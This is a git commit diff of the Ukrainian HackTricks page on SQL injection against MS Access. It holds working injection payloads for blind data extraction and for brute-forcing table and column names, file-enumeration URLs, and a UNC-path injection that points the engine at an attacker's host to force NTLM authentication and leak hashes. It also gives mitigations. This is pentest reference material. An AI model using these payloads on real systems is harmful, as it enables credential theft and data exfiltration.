mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
ff65adba62
commit
68451864ce
@ -4,7 +4,7 @@
|
||||
|
||||
## Онлайн майданчик
|
||||
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
|
||||
## Обмеження БД
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
```sql
|
||||
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||||
```
|
||||
### Складені запити
|
||||
### Stacked Queries
|
||||
|
||||
Вони не підтримуються.
|
||||
|
||||
@ -41,14 +41,14 @@
|
||||
|
||||
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\
|
||||
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\
|
||||
Отже, вам потрібно знати **дійсну назву таблиці**.
|
||||
Тому вам потрібно знати **дійсну назву таблиці**.
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
### Chaining equals + Substring
|
||||
|
||||
> [!WARNING]
|
||||
> Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.
|
||||
> Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці.
|
||||
|
||||
**MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати.
|
||||
|
||||
@ -62,9 +62,9 @@
|
||||
```
|
||||
_Не соромтеся перевірити це в онлайн-плейграунді._
|
||||
|
||||
### Брутфорсинг імен таблиць
|
||||
### Брутфорс назв таблиць
|
||||
|
||||
Використовуючи техніку зв'язування рівних, ви також можете **брутфорсити імена таблиць** з чимось на зразок:
|
||||
Використовуючи техніку ланцюгового рівності, ви також можете **брутфорсити назви таблиць** з чимось на кшталт:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -75,11 +75,11 @@ _Не соромтеся перевірити це в онлайн-плейгр
|
||||
_Не соромтеся перевірити це в онлайн-плейграунді._
|
||||
|
||||
- Sqlmap загальні назви таблиць: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Є ще один список у [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- Є ще один список в [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Брутфорсинг назв стовпців
|
||||
### Брутфорсинг назв колонок
|
||||
|
||||
Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговими рівностями з:
|
||||
Ви можете **брутфорсити поточні назви колонок** за допомогою трюку з ланцюговими рівностями з:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -95,15 +95,25 @@ _Не соромтеся перевірити це в онлайн-плейгр
|
||||
```
|
||||
### Вивантаження даних
|
||||
|
||||
Ми вже обговорювали [**техніку з'єднання рівних**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
|
||||
Ми вже обговорювали [**техніку з'єднання рівно**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
В загальному, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
|
||||
У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
|
||||
|
||||
### Time Based
|
||||
### Часові (Сліпі) Трюки
|
||||
|
||||
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
Jet/ACE SQL сам по собі **не** надає рідну функцію `SLEEP()` або `WAITFOR`, тому традиційні сліпі ін'єкції на основі часу обмежені. Однак ви все ще можете ввести вимірювальну затримку, змусивши движок отримати **мережевий ресурс, який повільний або не відповідає**. Оскільки движок спробує відкрити файл перед поверненням результату, час відповіді HTTP відображає затримку до хоста, контрольованого зловмисником.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
Вкажіть UNC шлях до:
|
||||
|
||||
* SMB спільного доступу за високошвидкісним з'єднанням
|
||||
* хоста, який скидає TCP рукопожаття після `SYN-ACK`
|
||||
* вогневого стовпа
|
||||
|
||||
Додаткові секунди, введені віддаленим запитом, можуть бути використані як **вимірювальний оракул поза каналом** для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли ін'єкований предикат істинний). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстровий вимикач у KB5002984. citeturn1search0
|
||||
|
||||
### Інші цікаві функції
|
||||
|
||||
@ -111,8 +121,8 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
|
||||
- `LEN('1234')` отримати довжину рядка
|
||||
- `ASC('A')` отримати ASCII значення символу
|
||||
- `CHR(65)` отримати рядок з ASCII значення
|
||||
- `IIF(1=1,'a','b')` якщо то
|
||||
- `COUNT(*)` підрахувати кількість елементів
|
||||
- `IIF(1=1,'a','b')` якщо тоді
|
||||
- `COUNT(*)` Підрахувати кількість елементів
|
||||
|
||||
## Перерахування таблиць
|
||||
|
||||
@ -126,13 +136,13 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли ви **не маєте доступу для читання таблиці `MSysObjects`**.
|
||||
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли у вас **немає доступу для читання таблиці `MSysObjects`**.
|
||||
|
||||
## Доступ до файлової системи
|
||||
|
||||
### Повний шлях до кореневої директорії веб-сайту
|
||||
|
||||
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.
|
||||
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії можна виявити, намагаючись вибрати дані з неіснуючої бази даних.
|
||||
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
@ -140,7 +150,7 @@ MS Access відповідає **повідомленням про помилк
|
||||
|
||||
### Перерахування файлів
|
||||
|
||||
Наступний вектор атаки може бути використаний для **виведення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
|
||||
Наступний вектор атаки може бути використаний для **виявлення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
@ -150,18 +160,51 @@ MS Access відповідає **повідомленням про помилк
|
||||
|
||||
### Вгадування імені файлу .mdb
|
||||
|
||||
**Ім'я файлу бази даних (.mdb)** можна вивести за допомогою наступного запиту:
|
||||
**Ім'я файлу бази даних (.mdb)** можна виявити за допомогою наступного запиту:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликає повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
|
||||
Де **name[i] - це ім'я файлу .mdb** і **realTable - це існуюча таблиця** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
|
||||
|
||||
### Крадій паролів .mdb
|
||||
### Доступ до віддаленої бази даних та крадіжка облікових даних NTLM (2023)
|
||||
|
||||
Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в *іншому* файлі `.mdb/.accdb` за допомогою клаузи `IN '<path>'`:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
Якщо введення користувача конкатенується в частині після **IN** (або в `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` виклику), зловмисник може вказати **UNC шлях**, який вказує на хост, який вони контролюють. Двигун буде:
|
||||
|
||||
1. намагатися аутентифікуватися через SMB / HTTP, щоб відкрити віддалену базу даних;
|
||||
2. витікати **NTLM облікові дані** веб-сервера (примусова аутентифікація);
|
||||
3. аналізувати віддалений файл – неправильно сформована або шкідлива база даних може викликати помилки пам'яті Jet/ACE, які були виправлені кілька разів (наприклад, CVE-2021-28455).
|
||||
|
||||
Практичний приклад ін'єкції:
|
||||
```sql
|
||||
1' UNION SELECT TOP 1 name
|
||||
FROM MSysObjects
|
||||
IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Вплив:
|
||||
|
||||
* Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн-ламання).
|
||||
* Потенційне віддалене виконання коду, якщо буде використано нову уразливість парсера Jet/ACE.
|
||||
|
||||
Заходи пом'якшення (рекомендується навіть для застарілих Classic ASP додатків):
|
||||
|
||||
* Додайте значення реєстру `AllowQueryRemoteTables = 0` під `HKLM\Software\Microsoft\Jet\4.0\Engines` (і під відповідним шляхом ACE). Це змушує Jet/ACE відхиляти віддалені шляхи, що починаються з `\\`.
|
||||
* Блокуйте вихідний SMB/WebDAV на межі мережі.
|
||||
* Очищайте / параметризуйте будь-яку частину запиту, яка може потрапити в клаузу `IN`.
|
||||
|
||||
Вектор примусової аутентифікації був повторно розглянутий Check Point Research у 2023 році, доводячи, що він все ще може бути використаний на повністю патчених Windows Server, коли ключ реєстру відсутній. citeturn0search0
|
||||
|
||||
### .mdb Password Cracker
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Налаштування Jet/ACE для блокування віддалених таблиць](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Зловживання пов'язаними таблицями Microsoft Access для примусової аутентифікації NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user